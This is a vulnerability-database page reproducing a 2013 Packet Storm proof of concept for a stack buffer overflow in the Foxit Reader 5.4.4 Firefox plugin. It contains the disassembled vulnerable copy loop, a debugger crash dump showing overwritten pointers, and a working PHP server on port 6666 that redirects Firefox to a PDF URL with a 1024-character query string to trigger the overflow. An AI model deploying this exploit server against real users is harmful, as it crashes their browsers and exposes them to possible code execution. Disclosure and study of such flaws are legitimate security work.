Lucene search
+L

Foxit Reader 5.4.4.1128 Plugin For Firefox Buffer Overflow

🗓️ 08 Jan 2013 00:00:00Reported by rgodType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 17 Views

Foxit Reader Plugin for Firefox Buffer Overflow Po

Code
`<?php  
/*  
Foxit Reader <= 5.4.4.1128 Plugin for Firefox npFoxitReaderPlugin.dll Overlong   
Query String Remote Stack Buffer Overflow PoC --------------------------- rgod  
  
(listener)  
  
Tested against Microsoft Windows  
Mozilla Firefox 17.0.1  
Foxit Reader 5.4.3.0920  
Foxit Reader 5.4.4.1128  
  
File: npFoxitReaderPlugin.dll  
Version: 2.2.1.530  
  
Product url: http://www.foxitsoftware.com/downloads/  
Last version setup file: FoxitReader544.11281_enu_Setup.exe  
  
Usage:  
Launch from the command line, then browse port 6666 with Firefox.  
You can test it also through this url:  
  
http://192.168.0.1/x.pdf?[A x 1024]  
  
File must be existing or the server should be responding with  
the proper Content-Type header.  
  
vulnerable code, npFoxitReaderPlugin.dll:  
  
;------------------------------------------------------------------------------  
L1000162F:  
push ebx  
push esi  
push edi  
mov edi,ebp  
or ecx,FFFFFFFFh  
xor eax,eax  
xor ebx,ebx  
xor esi,esi  
repne scasb  
not ecx  
dec ecx  
test ecx,ecx  
jle L100016E4  
L1000164A:  
mov al,[esi+ebp]  
mov word ptr [esp+18h],0000h  
cmp al,25h  
jz L10001661  
mov ecx,[esp+1Ch]  
mov [ebx+ecx],al  
jmp L100016CE  
L10001661:  
mov al,[esi+ebp+01h]  
cmp al,30h  
jl L1000166D  
cmp al,39h  
jle L1000167D  
L1000166D:  
cmp al,41h  
jl L10001675  
cmp al,46h  
jle L1000167D  
L10001675:  
cmp al,61h  
jl L100016C6  
cmp al,66h  
jg L100016C6  
L1000167D:  
mov dl,[esi+ebp+01h]  
inc esi  
inc esi  
lea ecx,[esp+10h]  
mov [esp+18h],dl  
push ecx  
mov al,[esi+ebp]  
lea edx,[esp+1Ch]  
push L100450D4  
push edx  
mov [esp+25h],al  
call SUB_L10006421  
mov eax,[esp+1Ch]  
lea ecx,[esp+24h]  
push eax  
push L100450D0  
push ecx  
call SUB_L100063CF  
mov eax,[esp+34h]  
mov dl,[esp+30h]  
add esp,00000018h  
mov [ebx+eax],dl  
jmp L100016CE  
L100016C6:  
mov ecx,[esp+1Ch]  
mov byte ptr [ebx+ecx],25h  
L100016CE:  
inc ebx  
mov edi,ebp  
or ecx,FFFFFFFFh  
xor eax,eax  
inc esi  
repne scasb  
not ecx  
dec ecx  
cmp esi,ecx  
jl L1000164A  
L100016E4:  
mov edx,[esp+1Ch]  
pop edi  
pop esi  
mov eax,00000001h  
mov byte ptr [ebx+edx],00h  
pop ebx  
pop ebp  
pop ecx  
retn  
;------------------------------------------------------------------------------  
  
this copy loop ends up in overwriting stack pointers, then   
(by attaching to plugin-container.exe):  
  
(f48.1778): Access violation - code c0000005 (first chance)  
First chance exceptions are reported before any exception handling.  
This exception may be expected and handled.  
eax=0076ed4c ebx=00000341 ecx=002cf414 edx=002cf414 esi=41414141 edi=0076e9e8  
eip=10016852 esp=002cf3f8 ebp=75eacdf8 iopl=0 nv up ei pl nz na po nc  
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010202  
npFoxitReaderPlugin!NP_GetEntryPoints+0x15672:  
10016852 8906 mov dword ptr [esi],eax ds:0023:41414141=????????  
...  
Attempt to write to address 41414141  
...  
  
also SEH pointers are overwritten  
*/  
  
error_reporting(0);  
  
set_time_limit(0);  
  
$port = 6666;  
  
$____redirect = "HTTP/1.1 301 Moved Permanently\r\n".  
"Server: Apache\r\n".  
"Location: /x.pdf?".str_repeat("A",1024)."\r\n".  
"Content-Type: text/html\r\n\r\n";  
  
$____boom = "HTTP/1.1 200 OK\r\n".  
"Server: Apache\r\n".  
"Accept-Ranges: bytes\r\n".  
"Content-Length: 60137\r\n".  
"Content-Type: application/pdf\r\n".  
"Connection: keep-alive\r\n\r\n";  
  
$socket = stream_socket_server("tcp://0.0.0.0:".$port, $errno, $errstr);  
  
if (!$socket) {  
echo "$errstr ($errno)\n";  
} else {  
echo "Listening on public tcp port ".$port." \n";   
while ($conn = stream_socket_accept($socket)) {  
$line=fgets($conn);  
echo $line."\n";  
if (strpos($line,".pdf")){  
fwrite($conn,$____boom);  
}  
else {  
fwrite($conn,$____redirect);  
}  
fclose($conn);  
}  
fclose($socket);  
}  
?>  
  
  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

08 Jan 2013 00:00Current
0.4Low risk
Vulners AI Score0.4
17